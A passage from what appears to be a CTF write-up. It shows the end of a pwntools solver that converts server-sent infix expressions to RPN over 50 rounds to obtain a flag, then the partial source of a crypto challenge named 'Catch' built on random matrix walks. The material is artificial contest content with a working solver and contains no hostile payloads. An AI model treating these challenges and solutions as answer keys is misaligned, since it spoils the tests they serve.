class="z-meta z-function-call z-arguments z-python">token</span><span class="z-punctuation">)</span></span> <span class="giallo-l"><span class="z-keyword z-control z-flow z-python"> else</span><span class="z-punctuation">:</span><span class="z-punctuation z-definition z-comment z-comment"> # Binary operators</span></span> <span class="giallo-l"><span class="z-keyword z-control z-flow z-python"> while</span><span class="z-source"> op_stack</span><span class="z-keyword z-operator z-logical z-python"> and</span><span class="z-meta z-indexed-name z-python"> op_stack</span><span class="z-punctuation">[</span><span class="z-keyword z-operator">-</span><span class="z-constant z-numeric">1</span><span class="z-punctuation">]</span><span class="z-keyword z-operator"> !=</span><span class="z-punctuation z-definition z-string z-string"> &#39;(&#39;</span><span class="z-keyword z-operator z-logical z-python"> and</span><span class="z-punctuation"> \</span></span> <span class="giallo-l"><span class="z-meta z-item-access z-python"> OP_PRECEDENCE</span><span class="z-punctuation">[</span><span class="z-meta z-indexed-name z-python">op_stack</span><span class="z-punctuation">[</span><span class="z-keyword z-operator">-</span><span class="z-constant z-numeric">1</span><span class="z-punctuation">]]</span><span class="z-keyword z-operator"> &gt;=</span><span class="z-meta z-item-access z-python"> OP_PRECEDENCE</span><span class="z-punctuation">[</span><span class="z-meta z-item-access z-python">token</span><span class="z-punctuation">]:</span></span> <span class="giallo-l"><span class="z-source"> output</span><span class="z-punctuation">.</span><span class="z-meta z-function-call z-python">append</span><span class="z-punctuation">(</span><span class="z-meta z-function-call z-arguments z-python">op_stack</span><span class="z-punctuation">.</span><span class="z-meta z-function-call z-python">pop</span><span class="z-punctuation">())</span></span> <span class="giallo-l"><span class="z-source"> op_stack</span><span class="z-punctuation">.</span><span class="z-meta z-function-call z-python">append</span><span class="z-punctuation">(</span><span class="z-meta z-function-call z-arguments z-python">token</span><span class="z-punctuation">)</span></span> <span class="giallo-l"><span class="z-keyword z-control z-flow z-python"> else</span><span class="z-punctuation">:</span></span> <span class="giallo-l"><span class="z-keyword z-control z-flow z-python"> raise</span><span class="z-support z-type z-exception z-python"> ValueError</span><span class="z-punctuation">(</span><span class="z-storage z-type z-string z-python">f</span><span class="z-string">&quot;Unknown token: </span><span class="z-constant z-character z-format z-placeholder z-other z-python">{</span><span class="z-meta z-function-call z-arguments z-python">token</span><span class="z-constant z-character z-format z-placeholder z-other z-python">}</span><span class="z-string">&quot;</span><span class="z-punctuation">)</span></span> <span class="giallo-l"></span> <span class="giallo-l"><span class="z-keyword z-control z-flow z-python"> while</span><span class="z-source"> op_stack</span><span class="z-punctuation">:</span></span> <span class="giallo-l"><span class="z-source"> output</span><span class="z-punctuation">.</span><span class="z-meta z-function-call z-python">append</span><span class="z-punctuation">(</span><span class="z-meta z-function-call z-arguments z-python">op_stack</span><span class="z-punctuation">.</span><span class="z-meta z-function-call z-python">pop</span><span class="z-punctuation">())</span></span> <span class="giallo-l"><span class="z-source"> </span></span> <span class="giallo-l"><span class="z-keyword z-control z-flow z-python"> return</span><span class="z-punctuation z-definition z-string"> &#39; &#39;</span><span class="z-punctuation">.</span><span class="z-meta z-function-call z-python">join</span><span class="z-punctuation">(</span><span class="z-meta z-function-call z-arguments z-python">output</span><span class="z-punctuation">)</span></span> <span class="giallo-l"></span> <span class="giallo-l"></span> <span class="giallo-l"><span class="z-storage z-type z-function z-python">def</span><span class="z-entity z-name z-function"> main</span><span class="z-punctuation">():</span></span> <span class="giallo-l"><span class="z-source"> conn</span><span class="z-keyword z-operator"> =</span><span class="z-meta z-function-call z-python"> remote</span><span class="z-punctuation">(</span><span class="z-meta z-function-call z-arguments z-python">HOST</span><span class="z-punctuation">,</span><span class="z-meta z-function-call z-arguments z-python"> PORT</span><span class="z-punctuation">)</span></span> <span class="giallo-l"><span class="z-source"> </span></span> <span class="giallo-l"><span class="z-source"> conn</span><span class="z-punctuation">.</span><span class="z-meta z-function-call z-python">recvuntil</span><span class="z-punctuation">(</span><span class="z-storage z-type z-string z-python">b</span><span class="z-punctuation z-definition z-string z-string">&#39;lets play a game!</span><span class="z-constant z-character z-escape">\n</span><span class="z-punctuation z-definition z-string">&#39;</span><span class="z-punctuation">)</span></span> <span class="giallo-l"><span class="z-source"> </span></span> <span class="giallo-l"><span class="z-source"> log</span><span class="z-punctuation">.</span><span class="z-meta z-function-call z-python">info</span><span class="z-punctuation">(</span><span class="z-punctuation z-definition z-string z-string">&quot;Starting the challenge...&quot;</span><span class="z-punctuation">)</span></span> <span class="giallo-l"></span> <span class="giallo-l"><span class="z-keyword z-control z-flow z-python"> for</span><span class="z-source"> i</span><span class="z-keyword z-control z-flow z-python"> in</span><span class="z-support z-function z-builtin z-python"> range</span><span class="z-punctuation">(</span><span class="z-constant z-numeric">50</span><span class="z-punctuation">):</span></span> <span class="giallo-l"><span class="z-source"> line</span><span class="z-keyword z-operator"> =</span><span class="z-source"> conn</span><span class="z-punctuation">.</span><span class="z-meta z-function-call z-python">recvline</span><span class="z-punctuation">().</span><span class="z-meta z-function-call z-python">decode</span><span class="z-punctuation">().</span><span class="z-meta z-function-call z-python">strip</span><span class="z-punctuation">()</span></span> <span class="giallo-l"><span class="z-source"> log</span><span class="z-punctuation">.</span><span class="z-meta z-function-call z-python">info</span><span class="z-punctuation">(</span><span class="z-storage z-type z-string z-python">f</span><span class="z-string">&quot;[</span><span class="z-constant z-character z-format z-placeholder z-other z-python">{</span><span class="z-meta z-function-call z-arguments z-python">i</span><span class="z-keyword z-operator">+</span><span class="z-constant z-numeric">1</span><span class="z-constant z-character z-format z-placeholder z-other z-python">}</span><span class="z-string">/50] Received: </span><span class="z-constant z-character z-format z-placeholder z-other z-python">{</span><span class="z-meta z-function-call z-arguments z-python">line</span><span class="z-constant z-character z-format z-placeholder z-other z-python">}</span><span class="z-string">&quot;</span><span class="z-punctuation">)</span></span> <span class="giallo-l"><span class="z-source"> </span></span> <span class="giallo-l"><span class="z-keyword z-control z-flow z-python"> try</span><span class="z-punctuation">:</span></span> <span class="giallo-l"><span class="z-source"> rpn_expression</span><span class="z-keyword z-operator"> =</span><span class="z-meta z-function-call z-python"> shunting_yard_fix</span><span class="z-punctuation">(</span><span class="z-meta z-function-call z-arguments z-python">line</span><span class="z-punctuation">)</span></span> <span class="giallo-l"><span class="z-source"> log</span><span class="z-punctuation">.</span><span class="z-meta z-function-call z-python">info</span><span class="z-punctuation">(</span><span class="z-storage z-type z-string z-python">f</span><span class="z-string">&quot;[</span><span class="z-constant z-character z-format z-placeholder z-other z-python">{</span><span class="z-meta z-function-call z-arguments z-python">i</span><span class="z-keyword z-operator">+</span><span class="z-constant z-numeric">1</span><span class="z-constant z-character z-format z-placeholder z-other z-python">}</span><span class="z-string">/50] Sending: </span><span class="z-constant z-character z-format z-placeholder z-other z-python">{</span><span class="z-meta z-function-call z-arguments z-python">rpn_expression</span><span class="z-constant z-character z-format z-placeholder z-other z-python">}</span><span class="z-string">&quot;</span><span class="z-punctuation">)</span></span> <span class="giallo-l"><span class="z-source"> </span></span> <span class="giallo-l"><span class="z-source"> conn</span><span class="z-punctuation">.</span><span class="z-meta z-function-call z-python">sendline</span><span class="z-punctuation">(</span><span class="z-meta z-function-call z-arguments z-python">rpn_expression</span><span class="z-punctuation">.</span><span class="z-meta z-function-call z-python">encode</span><span class="z-punctuation">())</span></span> <span class="giallo-l"><span class="z-source"> </span></span> <span class="giallo-l"><span class="z-source"> response</span><span class="z-keyword z-operator"> =</span><span class="z-source"> conn</span><span class="z-punctuation">.</span><span class="z-meta z-function-call z-python">recvline</span><span class="z-punctuation">().</span><span class="z-meta z-function-call z-python">decode</span><span class="z-punctuation">().</span><span class="z-meta z-function-call z-python">strip</span><span class="z-punctuation">()</span></span> <span class="giallo-l"><span class="z-source"> log</span><span class="z-punctuation">.</span><span class="z-meta z-function-call z-python">info</span><span class="z-punctuation">(</span><span class="z-storage z-type z-string z-python">f</span><span class="z-string">&quot;[</span><span class="z-constant z-character z-format z-placeholder z-other z-python">{</span><span class="z-meta z-function-call z-arguments z-python">i</span><span class="z-keyword z-operator">+</span><span class="z-constant z-numeric">1</span><span class="z-constant z-character z-format z-placeholder z-other z-python">}</span><span class="z-string">/50] Received: </span><span class="z-constant z-character z-format z-placeholder z-other z-python">{</span><span class="z-meta z-function-call z-arguments z-python">response</span><span class="z-constant z-character z-format z-placeholder z-other z-python">}</span><span class="z-string">&quot;</span><span class="z-punctuation">)</span></span> <span class="giallo-l"><span class="z-source"> </span></span> <span class="giallo-l"><span class="z-keyword z-control z-flow z-python"> if</span><span class="z-punctuation z-definition z-string z-string"> &quot;wrong!&quot;</span><span class="z-keyword z-operator z-logical z-python"> in</span><span class="z-source"> response</span><span class="z-keyword z-operator z-logical z-python"> or</span><span class="z-punctuation z-definition z-string z-string"> &quot;invalid&quot;</span><span class="z-keyword z-operator z-logical z-python"> in</span><span class="z-source"> response</span><span class="z-keyword z-operator z-logical z-python"> or</span><span class="z-punctuation z-definition z-string z-string"> &quot;too slow&quot;</span><span class="z-keyword z-operator z-logical z-python"> in</span><span class="z-source"> response</span><span class="z-punctuation">:</span></span> <span class="giallo-l"><span class="z-source"> log</span><span class="z-punctuation">.</span><span class="z-meta z-function-call z-python">error</span><span class="z-punctuation">(</span><span class="z-storage z-type z-string z-python">f</span><span class="z-string">&quot;Failed at round </span><span class="z-constant z-character z-format z-placeholder z-other z-python">{</span><span class="z-meta z-function-call z-arguments z-python">i</span><span class="z-keyword z-operator">+</span><span class="z-constant z-numeric">1</span><span class="z-constant z-character z-format z-placeholder z-other z-python">}</span><span class="z-string">. Server said: </span><span class="z-constant z-character z-format z-placeholder z-other z-python">{</span><span class="z-meta z-function-call z-arguments z-python">response</span><span class="z-constant z-character z-format z-placeholder z-other z-python">}</span><span class="z-string">&quot;</span><span class="z-punctuation">)</span></span> <span class="giallo-l"><span class="z-source"> conn</span><span class="z-punctuation">.</span><span class="z-meta z-function-call z-python">close</span><span class="z-punctuation">()</span></span> <span class="giallo-l"><span class="z-keyword z-control z-flow z-python"> return</span></span> <span class="giallo-l"><span class="z-keyword z-control z-flow z-python"> except</span><span class="z-support z-type z-exception z-python"> Exception</span><span class="z-keyword z-control z-flow z-python"> as</span><span class="z-source"> e</span><span class="z-punctuation">:</span></span> <span class="giallo-l"><span class="z-source"> log</span><span class="z-punctuation">.</span><span class="z-meta z-function-call z-python">error</span><span class="z-punctuation">(</span><span class="z-storage z-type z-string z-python">f</span><span class="z-string">&quot;An error occurred during round </span><span class="z-constant z-character z-format z-placeholder z-other z-python">{</span><span class="z-meta z-function-call z-arguments z-python">i</span><span class="z-keyword z-operator">+</span><span class="z-constant z-numeric">1</span><span class="z-constant z-character z-format z-placeholder z-other z-python">}</span><span class="z-string">: </span><span class="z-constant z-character z-format z-placeholder z-other z-python">{</span><span class="z-meta z-function-call z-arguments z-python">e</span><span class="z-constant z-character z-format z-placeholder z-other z-python">}</span><span class="z-string">&quot;</span><span class="z-punctuation">)</span></span> <span class="giallo-l"><span class="z-source"> conn</span><span class="z-punctuation">.</span><span class="z-meta z-function-call z-python">close</span><span class="z-punctuation">()</span></span> <span class="giallo-l"><span class="z-keyword z-control z-flow z-python"> return</span></span> <span class="giallo-l"></span> <span class="giallo-l"><span class="z-source"> log</span><span class="z-punctuation">.</span><span class="z-meta z-function-call z-python">success</span><span class="z-punctuation">(</span><span class="z-punctuation z-definition z-string z-string">&quot;All 50 rounds completed! Waiting for the flag...&quot;</span><span class="z-punctuation">)</span></span> <span class="giallo-l"><span class="z-source"> flag</span><span class="z-keyword z-operator"> =</span><span class="z-source"> conn</span><span class="z-punctuation">.</span><span class="z-meta z-function-call z-python">recvline</span><span class="z-punctuation">().</span><span class="z-meta z-function-call z-python">decode</span><span class="z-punctuation">().</span><span class="z-meta z-function-call z-python">strip</span><span class="z-punctuation">()</span></span> <span class="giallo-l"><span class="z-source"> log</span><span class="z-punctuation">.</span><span class="z-meta z-function-call z-python">success</span><span class="z-punctuation">(</span><span class="z-storage z-type z-string z-python">f</span><span class="z-string">&quot;Flag: </span><span class="z-constant z-character z-format z-placeholder z-other z-python">{</span><span class="z-meta z-function-call z-arguments z-python">flag</span><span class="z-constant z-character z-format z-placeholder z-other z-python">}</span><span class="z-string">&quot;</span><span class="z-punctuation">)</span></span> <span class="giallo-l"><span class="z-source"> </span></span> <span class="giallo-l"><span class="z-source"> conn</span><span class="z-punctuation">.</span><span class="z-meta z-function-call z-python">close</span><span class="z-punctuation">()</span></span> <span class="giallo-l"></span> <span class="giallo-l"><span class="z-keyword z-control z-flow z-python">if</span><span class="z-support z-variable z-magic z-python"> __name__</span><span class="z-keyword z-operator"> ==</span><span class="z-punctuation z-definition z-string z-string"> &quot;__main__&quot;</span><span class="z-punctuation">:</span></span> <span class="giallo-l"><span class="z-meta z-function-call z-python"> main</span><span class="z-punctuation">()</span></span></code></pre><h1 id="crypto">Crypto</h1> <h2 id="catch">Catch</h2> <h3 id="ti-mu">题目</h3> <pre class="giallo z-code"><code data-lang="python"><span class="giallo-l"><span class="z-keyword">from</span><span class="z-source"> Crypto</span><span class="z-punctuation">.</span><span class="z-source">Random</span><span class="z-punctuation">.</span><span class="z-source">random</span><span class="z-keyword"> import</span><span class="z-source"> randint</span><span class="z-punctuation">,</span><span class="z-source"> choice</span></span> <span class="giallo-l"><span class="z-keyword">import</span><span class="z-source"> os</span></span> <span class="giallo-l"></span> <span class="giallo-l"><span class="z-punctuation z-definition z-comment z-comment"># In a realm where curiosity roams free, our fearless cat sets out on an epic journey.</span></span> <span class="giallo-l"><span class="z-punctuation z-definition z-comment z-comment"># Even the cleverest feline must respect the boundaries of its world—this magical limit holds all wonders within.</span></span> <span class="giallo-l"><span class="z-source">limit</span><span class="z-keyword z-operator"> =</span><span class="z-storage z-type"> 0x</span><span class="z-constant z-numeric">e5db6a6d765b1ba6e727aa7a87a792c49bb9ddeb2bad999f5ea04f047255d5a72e193a7d58aa8ef619b0262de6d25651085842fd9c385fa4f1032c305f44b8a4f92b16c8115d0595cebfccc1c655ca20db597ff1f01e0db70b9073fbaa1ae5e489484c7a45c215ea02db3c77f1865e1e8597cb0b0af3241cd8214bd5b5c1491f</span></span> <span class="giallo-l"></span> <span class="giallo-l"><span class="z-punctuation z-definition z-comment z-comment"># Through cryptic patterns, our cat deciphers its next move.</span></span> <span class="giallo-l"><span class="z-storage z-type z-function z-python">def</span><span class="z-entity z-name z-function"> walking</span><span class="z-punctuation">(</span><span class="z-variable z-parameter">x</span><span class="z-punctuation">,</span><span class="z-variable z-parameter"> y</span><span class="z-punctuation">,</span><span class="z-variable z-parameter"> part</span><span class="z-punctuation">):</span></span> <span class="giallo-l"><span class="z-punctuation z-definition z-comment z-comment"> # Each step is guided by a fragment of the cat&#39;s own secret mind.</span></span> <span class="giallo-l"><span class="z-source"> epart</span><span class="z-keyword z-operator"> =</span><span class="z-punctuation"> [</span><span class="z-support z-type z-python">int</span><span class="z-punctuation">.</span><span class="z-meta z-function-call z-python">from_bytes</span><span class="z-punctuation">(</span><span class="z-meta z-indexed-name z-python">part</span><span class="z-punctuation">[</span><span class="z-meta z-item-access z-python">i</span><span class="z-punctuation">:</span><span class="z-meta z-item-access z-python">i</span><span class="z-keyword z-operator">+</span><span class="z-constant z-numeric">2</span><span class="z-punctuation">],</span><span class="z-punctuation z-definition z-string z-string"> &quot;big&quot;</span><span class="z-punctuation">)</span><span class="z-keyword z-control z-flow z-python"> for</span><span class="z-source"> i</span><span class="z-keyword z-control z-flow z-python"> in</span><span class="z-support z-function z-builtin z-python"> range</span><span class="z-punctuation">(</span><span class="z-constant z-numeric">0</span><span class="z-punctuation">,</span><span class="z-support z-function z-builtin z-python"> len</span><span class="z-punctuation">(</span><span class="z-meta z-function-call z-arguments z-python">part</span><span class="z-punctuation">),</span><span class="z-constant z-numeric"> 2</span><span class="z-punctuation">)]</span></span> <span class="giallo-l"><span class="z-source"> xx</span><span class="z-keyword z-operator"> =</span><span class="z-meta z-indexed-name z-python"> epart</span><span class="z-punctuation">[</span><span class="z-constant z-numeric">0</span><span class="z-punctuation">]</span><span class="z-keyword z-operator"> *</span><span class="z-source"> x</span><span class="z-keyword z-operator"> +</span><span class="z-meta z-indexed-name z-python"> epart</span><span class="z-punctuation">[</span><span class="z-constant z-numeric">1</span><span class="z-punctuation">]</span><span class="z-keyword z-operator"> *</span><span class="z-source"> y</span></span> <span class="giallo-l"><span class="z-source"> yy</span><span class="z-keyword z-operator"> =</span><span class="z-meta z-indexed-name z-python"> epart</span><span class="z-punctuation">[</span><span class="z-constant z-numeric">2</span><span class="z-punctuation">]</span><span class="z-keyword z-operator"> *</span><span class="z-source"> x</span><span class="z-keyword z-operator"> +</span><span class="z-meta z-indexed-name z-python"> epart</span><span class="z-punctuation">[</span><span class="z-constant z-numeric">3</span><span class="z-punctuation">]</span><span class="z-keyword z-operator"> *</span><span class="z-source"> y</span></span> <span class="giallo-l"><span class="z-keyword z-control z-flow z-python"> return</span><span class="z-source"> xx</span><span class="z-punctuation">,</span><span class="z-source"> yy</span></span> <span class="giallo-l"></span> <span class="giallo-l"><span class="z-punctuation z-definition z-comment z-comment"># Enter the Cat: curious wanderer and keeper of hidden paths.</span></span> <span class="giallo-l"><span class="z-storage z-type">class</span><span class="z-entity z-name z-type"> Cat</span><span class="z-punctuation">:</span></span> <span class="giallo-l"><span class="z-storage z-type z-function z-python"> def</span><span class="z-support z-function z-magic z-python"> __init__</span><span class="z-punctuation">(</span><span class="z-variable z-parameter z-function z-language z-special z-self z-python">self</span><span class="z-punctuation">):</span></span> <span class="giallo-l"><span class="z-punctuation z-definition z-comment z-comment"> # The cat&#39;s starting position is born of pure randomness.</span></span> <span class="giallo-l"><span class="z-variable z-language z-special z-self z-python"> self</span><span class="z-punctuation">.</span><span class="z-source">x</span><span class="z-keyword z-operator"> =</span><span class="z-meta z-function-call z-python"> randint</span><span class="z-punctuation">(</span><span class="z-constant z-numeric">0</span><span class="z-punctuation">,</span><span class="z-constant z-numeric"> 2</span><span class="z-keyword z-operator">**</span><span class="z-constant z-numeric">256</span><span class="z-punctuation">)</span></span> <span class="giallo-l"><span class="z-variable z-language z-special z-self z-python"> self</span><span class="z-punctuation">.</span><span class="z-source">y</span><span class="z-keyword z-operator"> =</span><span class="z-meta z-function-call z-python"> randint</span><span class="z-punctuation">(</span><span class="z-constant z-numeric">0</span><span class="z-punctuation">,</span><span class="z-constant z-numeric"> 2</span><span class="z-keyword z-operator">**</span><span class="z-constant z-numeric">256</span><span class="z-punctuation">)</span></span> <span class="giallo-l"><span class="z-punctuation z-definition z-comment z-comment"> # Deep within, its mind holds a thousand mysterious fragments.</span></span> <span class="giallo-l"><span class="z-keyword z-control z-flow z-python"> while</span><span class="z-constant z-language z-python"> True</span><span class="z-punctuation">:</span></span> <span class="giallo-l"><span class="z-variable z-language z-special z-self z-python"> self</span><span class="z-punctuation">.</span><span class="z-source">mind</span><span class="z-keyword z-operator"> =</span><span class="z-source"> os</span><span class="z-punctuation">.</span><span class="z-meta z-function-call z-python">urandom</span><span class="z-punctuation">(</span><span class="z-constant z-numeric">1000</span><span class="z-punctuation">)</span></span> <span class="giallo-l"><span class="z-variable z-language z-special z-self z-python"> self</span><span class="z-punctuation">.</span><span class="z-source">step</span><span class="z-keyword z-operator"> =</span><span class="z-punctuation"> [</span><span class="z-variable z-language z-special z-self z-python">self</span><span class="z-punctuation">.</span><span class="z-meta z-indexed-name z-python">mind</span><span class="z-punctuation">[</span><span class="z-meta z-item-access z-python">i</span><span class="z-punctuation">:</span><span class="z-meta z-item-access z-python">i</span><span class="z-keyword z-operator">+</span><span class="z-constant z-numeric">8</span><span class="z-punctuation">]</span><span class="z-keyword z-control z-flow z-python"> for</span><span class="z-source"> i</span><span class="z-keyword z-control z-flow z-python"> in</span><span class="z-support z-function z-builtin z-python"> range</span><span class="z-punctuation">(</span><span class="z-constant z-numeric">0</span><span class="z-punctuation">,</span><span class="z-constant z-numeric"> 1000</span><span class="z-punctuation">,</span><span class="z-constant z-numeric"> 8</span><span class="z-punctuation">)]</span></span> <span class="giallo-l"><span class="z-keyword z-control z-flow z-python"> if</span><span class="z-support z-function z-builtin z-python"> len</span><span class="z-punctuation">(</span><span class="z-support z-type z-python">set</span><span class="z-punctuation">(</span><span class="z-variable z-language z-special z-self z-python">self</span><span class="z-punctuation">.</span><span class="z-meta z-function-call z-arguments z-python">step</span><span class="z-punctuation">))</span><span class="z-keyword z-operator"> ==</span><span class="z-support z-function z-builtin z-python"> len</span><span class="z-punctuation">(</span><span class="z-variable z-language z-special z-self z-python">self</span><span class="z-punctuation">.</span><span class="z-meta z-function-call z-arguments z-python">step</span><span class="z-punctuation">):</span></span> <span class="giallo-l"><span class="z-keyword z-control z-flow z-python"> break</span></span> <span class="giallo-l"></span> <span class="giallo-l"><span class="z-punctuation z-definition z-comment z-comment"> # The epic chase begins: the cat ponders and strides toward the horizon.</span></span> <span class="giallo-l"><span class="z-storage z-type z-function z-python"> def</span><span class="z-entity z-name z-function"> moving</span><span class="z-punctuation">(</span><span class="z-variable z-parameter z-function z-language z-special z-self z-python">self</span><span class="z-punctuation">):</span></span> <span class="giallo-l"><span class="z-keyword z-control z-flow z-python"> for</span><span class="z-source"> _</span><span class="z-keyword z-control z-flow z-python"> in</span><span class="z-support z-function z-builtin z-python"> range</span><span class="z-punctuation">(</span><span class="z-constant z-numeric">30</span><span class="z-punctuation">):</span></span> <span class="giallo-l"><span class="z-punctuation z-definition z-comment z-comment"> # A moment of reflection: choose a thought from the cat&#39;s endless mind.</span></span> <span class="giallo-l"><span class="z-source"> part</span><span class="z-keyword z-operator"> =</span><span class="z-meta z-function-call z-python"> choice</span><span class="z-punctuation">(</span><span class="z-variable z-language z-special z-self z-python">self</span><span class="z-punctuation">.</span><span class="z-meta z-function-call z-arguments z-python">step</span><span class="z-punctuation">)</span></span> <span class="giallo-l"><span class="z-variable z-language z-special z-self z-python"> self</span><span class="z-punctuation">.</span><span class="z-source">step</span><span class="z-punctuation">.</span><span class="z-meta z-function-call z-python">remove</span><span class="z-punctuation">(</span><span class="z-meta z-function-call z-arguments z-python">part</span><span class="z-punctuation">)</span></span> <span class="giallo-l"><span class="z-punctuation z-definition z-comment z-comment"> # With each heartbeat, the cat takes a cryptic step.</span></span> <span class="giallo-l"><span class="z-source"> xx</span><span class="z-punctuation">,</span><span class="z-source"> yy</span><span class="z-keyword z-operator"> =</span><span class="z-meta z-function-call z-python"> walking</span><span class="z-punctuation">(</span><span class="z-variable z-language z-special z-self z-python">self</span><span class="z-punctuation">.</span><span class="z-meta z-function-call z-arguments z-python">x</span><span class="z-punctuation">,</span><span class="z-variable z-language z-special z-self z-python"> self</span><span class="z-punctuation">.</span><span class="z-meta z-function-call z-arguments z-python">y</span><span class="z-punctuation">,</span><span class="z-meta z-function-call z-arguments z-python"> part</span><span class="z-punctuation">)</span></span> <span class="giallo-l"><span class="z-variable z-language z-special z-self z-python"> self</span><span class="z-punctuation">.</span><span class="z-source">x</span><span class="z-punctuation">,</span><span class="z-variable z-language z-special z-self z-python"> self</span><span class="z-punctuation">.</span><span class="z-source">y</span><span class="z-keyword z-operator"> =</span><span class="z-source"> xx</span><span class="z-punctuation">,</span><span class="z-source"> yy</span></span> <span class="giallo-l"><span class="z-punctuation z-definition z-comment z-comment"> # When the wild spirit reaches the edge, it respects the boundary and pauses.</span></span> <span class="giallo-l"><span class="z-keyword z-control z-flow z-python"> if</span><span class="z-variable z-language z-special z-self z-python"> self</span><span class="z-punctuation">.</span><span class="z-source">x</span><span class="z-keyword z-operator"> &gt;</span><span class="z-source"> limit</span><span class="z-keyword z-operator z-logical z-python"> or</span><span class="z-variable z-language z-special z-self z-python"> self</span><span class="z-punctuation">.</span><span class="z-source">y</span><span class="z-keyword z-operator"> &gt;</span><span class="z-source"> limit</span><span class="z-punctuation">:</span></span> <span class="giallo-l"><span class="z-variable z-language z-special z-self z-python"> self</span><span class="z-punctuation">.</span><span class="z-source">x</span><span class="z-keyword z-operator"> %=</span><span class="z-source"> limit</span></span> <span class="giallo-l"><span class="z-variable z-language z-special z-self z-python"> self</span><span class="z-punctuation">.</span><span class="z-source">y</span><span class="z-keyword z-operator"> %=</span><span class="z-source"> limit</span></span> <span class="giallo-l"><span class="z-keyword z-control z-flow z-python"> break</span></span> <span class="giallo-l"></span> <span class="giallo-l"><span class="z-punctuation z-definition z-comment z-comment"> # When the cosmos beckons, the cat reveals its secret coordinates.</span></span> <span class="giallo-l"><span class="z-storage z-type z-function z-python"> def</span><span class="z-entity z-name z-function"> position</span><span class="z-punctuation">(</span><span class="z-variable z-parameter z-function z-language z-special z-self z-python">self</span><span class="z-punctuation">):</span></span> <span class="giallo-l"><span class="z-keyword z-control z-flow z-python"> return</span><span class="z-punctuation"> (</span><span class="z-variable z-language z-special z-self z-python">self</span><span class="z-punctuation">.</span><span class="z-source">x</span><span class="z-punctuation">,</span><span class="z-variable z-language z-special z-self z-python"> self</span><span class="z-punctuation">.</span><span class="z-source">y</span><span class="z-punctuation">)</span></span> <span class="giallo-l"></span> <span class="giallo-l"><span class="z-punctuation z-definition z-comment z-comment"># Adventurer, your quest: find and connect with 20 elusive cats.</span></span> <span class="giallo-l"><span class="z-keyword z-control z-flow z-python">for</span><span class="z-support z-function z-builtin z-python"> round</span><span class="z-keyword z-control z-flow z-python"> in</span><span class="z-support z-function z-builtin z-python"> range</span><span class="z-punctuation">(</span><span class="z-constant z-numeric">20</span><span class="z-punctuation">):</span></span> <span class="giallo-l"><span class="z-keyword z-control z-flow z-python"> try</span><span class="z-punctuation">:</span></span> <span class="giallo-l"><span class="z-support z-function z-builtin z-python"> print</span><span class="z-punctuation">(</span><span class="z-storage z-type z-string z-python">f</span><span class="z-string">&quot;👉 Hunt </span><span class="z-constant z-character z-format z-placeholder z-other z-python">{</span><span class="z-support z-function z-builtin z-python">round</span><span class="z-keyword z-operator">+</span><span class="z-constant z-numeric">1</span><span class="z-constant z-character z-format z-placeholder z-other z-python">}</span><span class="z-string">/20 begins!&quot;</span><span class="z-punctuation">)</span></span> <span class="giallo-l"><span class="z-source"> cat</span><span class="z-keyword z-operator"> =</span><span class="z-meta z-function-call z-python"> Cat</span><span class="z-punctuation">()</span></span> <span class="giallo-l"></span> <span class="giallo-l"><span class="z-punctuation z-definition z-comment z-comment"> # At the start, you and the cat share the same starlit square.</span></span> <span class="giallo-l"><span class="z-source"> human_pos</span><span class="z-keyword z-operator"> =</span><span class="z-source"> cat</span><span class="z-punctuation">.</span><span class="z-meta z-function-call z-python">position</span><span class="z-punctuation">()</span></span> <span class="giallo-l"><span class="z-support z-function z-builtin z-python"> print</span><span class="z-punctuation">(</span><span class="z-storage z-type z-string z-python">f</span><span class="z-string">&quot;🐱✨ Co-location: </span><span class="z-constant z-character z-format z-placeholder z-other z-python">{</span><span class="z-meta z-function-call z-arguments z-python">human_pos</span><span class="z-constant z-character z-format z-placeholder z-other z-python">}</span><span class="z-string">&quot;</span><span class="z-punctuation">)</span></span> <span class="giallo-l"><span class="z-support z-function z-builtin z-python"> print</span><span class="z-punctuation">(</span><span class="z-storage z-type z-string z-python">f</span><span class="z-string">&quot;🔮 Cat&#39;s hidden mind: </span><span class="z-constant z-character z-format z-placeholder z-other z-python">{</span><span class="z-meta z-function-call z-arguments z-python">cat</span><span class="z-punctuation">.</span><span class="z-meta z-function-call z-arguments z-python">mind</span><span class="z-punctuation">.</span><span class="z-meta z-function-call z-python">hex</span><span class="z-punctuation">()</span><span class="z-constant z-character z-format z-placeholder z-other z-python">}</span><span class="z-string">&quot;</span><span class="z-punctuation">)</span></span> <span class="giallo-l"></span> <span class="giallo-l"><span class="z-punctuation z-definition z-comment z-comment"> # But the cat, ever playful, dashes into the unknown...</span></span> <span class="giallo-l"><span class="z-source"> cat</span><span class="z-punctuation">.</span><span class="z-meta z-function-call z-python">moving</span><span class="z-punctuation">()</span></span> <span class="giallo-l"><span class="z-support z-function z-builtin z-python"> print</span><span class="z-punctuation">(</span><span class="z-punctuation z-definition z-string z-string">&quot;😸 The chase is on!&quot;</span><span class="z-punctuation">)</span></span> <span class="giallo-l"></span> <span class="giallo-l"><span class="z-support z-function z-builtin z-python"> print</span><span class="z-punctuation">(</span><span class="z-storage z-type z-string z-python">f</span><span class="z-string">&quot;🗺️ Cat now at: </span><span class="z-constant z-character z-format z-placeholder z-other z-python">{</span><span class="z-meta z-function-call z-arguments z-python">cat</span><span class="z-punctuation">.</span><span class="z-meta z-function-call z-python">position</span><span class="z-punctuation">()</span><span class="z-constant z-character z-format z-placeholder z-other z-python">}</span><span class="z-string">&quot;</span><span class="z-punctuation">)</span></span> <span class="giallo-l"></span> <span class="giallo-l"><span class="z-punctuation z-definition z-comment z-comment"> # Your turn: recall the cat&#39;s secret path fragments to catch up.</span></span> <span class="giallo-l"><span class="z-source"> mind</span><span class="z-keyword z-operator"> =</span><span class="z-support z-type z-python"> bytes</span><span class="z-punctuation">.</span><span class="z-meta z-function-call z-python">fromhex</span><span class="z-punctuation">(</span><span class="z-support z-function z-builtin z-python">input</span><span class="z-punctuation">(</span><span class="z-punctuation z-definition z-string z-string">&quot;🤔 Path to recall (hex): &quot;</span><span class="z-punctuation">))</span></span> <span class="giallo-l"></span> <span class="giallo-l"><span class="z-punctuation z-definition z-comment z-comment"> # Step by step, follow the trail the cat has laid.</span></span> <span class="giallo-l"><span class="z-keyword z-control z-flow z-python"> for</span><span class="z-source"> i</span><span class="z-keyword z-control z-flow z-python"> in</span><span class="z-support z-function z-builtin z-python"> range</span><span class="z-punctuation">(</span><span class="z-constant z-numeric">0</span><span class="z-punctuation">,</span><span class="z-support z-function z-builtin z-python"> len</span><span class="z-punctuation">(</span><span class="z-meta z-function-call z-arguments z-python">mind</span><span class="z-punctuation">),</span><span class="z-constant z-numeric"> 8</span><span 